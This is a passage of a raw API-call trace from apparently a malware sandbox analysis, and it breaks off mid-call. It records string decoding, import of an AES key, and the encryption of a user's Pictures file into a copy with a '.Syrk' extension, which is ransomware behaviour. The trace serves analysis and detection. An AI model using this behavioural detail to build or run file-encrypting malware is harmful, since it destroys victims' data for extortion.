0x0 [0247.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0247.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0247.739] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.739] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0247.739] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0247.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0247.739] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.739] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0247.739] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.740] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0247.740] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0247.740] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.740] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0247.740] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.740] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0247.740] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0247.740] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0247.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0247.741] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.741] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0247.741] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0247.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0247.742] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.742] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0247.742] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0247.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0247.742] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.742] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0247.742] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0247.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0247.743] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.743] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0247.743] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0247.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0247.743] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.743] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0247.743] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0247.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0247.743] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.744] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0247.744] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0247.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0247.744] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.744] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0247.744] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0247.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0247.744] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.745] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0247.745] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0247.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0247.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0247.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0247.746] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.746] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0247.746] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0247.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0247.746] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.746] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0247.746] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0247.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0247.747] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.747] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0247.747] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0247.747] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0247.747] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.747] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0247.747] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.748] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0247.748] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0247.748] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.748] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0247.748] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.748] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0247.748] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0247.748] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.748] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0247.748] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.748] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0247.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0247.858] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0247.859] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0247.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0247.859] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0247.859] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0247.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0247.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0247.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0247.861] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0247.861] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0247.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0247.861] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0247.861] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0247.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0247.862] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.862] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0247.862] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0247.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0247.862] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.862] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0247.862] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.862] EtwEventActivityIdControl () returned 0x0 [0247.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0247.863] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0247.863] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0247.865] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0247.867] CryptImportKey (in: hProv=0x5c4d298, pbData=0x242ac08*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c998e0) returned 1 [0247.868] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.868] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.868] EtwEventActivityIdControl () returned 0x0 [0247.868] EtwEventActivityIdControl () returned 0x0 [0247.868] EtwEventActivityIdControl () returned 0x0 [0247.877] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg")) returned 0x20 [0247.879] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg")) returned 0x20 [0247.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0247.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", lpFilePart=0x0) returned 0x32 [0247.879] EtwEventActivityIdControl () returned 0x0 [0247.880] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.880] EtwEventActivityIdControl () returned 0x0 [0247.880] EtwEventActivityIdControl () returned 0x0 [0247.880] EtwEventActivityIdControl () returned 0x0 [0247.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0247.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", lpFilePart=0x0) returned 0x32 [0247.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0247.882] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0247.882] GetFileType (hFile=0x3c4) returned 0x1 [0247.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0247.883] GetFileType (hFile=0x3c4) returned 0x1 [0247.883] EtwEventActivityIdControl () returned 0x0 [0247.883] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.883] EtwEventActivityIdControl () returned 0x0 [0247.883] EtwEventActivityIdControl () returned 0x0 [0247.883] EtwEventActivityIdControl () returned 0x0 [0247.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0247.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk", lpFilePart=0x0) returned 0x37 [0247.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0247.885] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0247.886] GetFileType (hFile=0x454) returned 0x1 [0247.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0247.886] GetFileType (hFile=0x454) returned 0x1 [0247.887] EtwEventActivityIdControl () returned 0x0 [0247.887] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x243b4a0 | out: pbBuffer=0x243b4a0) returned 1 [0247.888] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.888] CryptDuplicateKey (in: hKey=0x5c998e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c997e0) returned 1 [0247.888] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.888] CryptSetKeyParam (hKey=0x5c997e0, dwParam=0x4, pbData=0x243c7cc*=0x1, dwFlags=0x0) returned 1 [0247.888] CryptSetKeyParam (hKey=0x5c997e0, dwParam=0x1, pbData=0x243c798, dwFlags=0x0) returned 1 [0247.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.890] EtwEventActivityIdControl () returned 0x0 [0247.890] EtwEventActivityIdControl () returned 0x0 [0247.890] EtwEventActivityIdControl () returned 0x0 [0247.891] EtwEventActivityIdControl () returned 0x0 [0247.892] ReadFile (in: hFile=0x3c4, lpBuffer=0x243f414, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x243f414*, lpNumberOfBytesRead=0x5a2e7d8*=0x18eb, lpOverlapped=0x0) returned 1 [0247.894] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x245342c*, pdwDataLen=0x5a2e7cc*=0x18e0, dwBufLen=0x18e0 | out: pbData=0x245342c*, pdwDataLen=0x5a2e7cc*=0x18e0) returned 1 [0247.894] WriteFile (in: hFile=0x454, lpBuffer=0x243b57c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x243b57c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0247.895] ReadFile (in: hFile=0x3c4, lpBuffer=0x243f414, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x243f414*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0247.896] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=0, 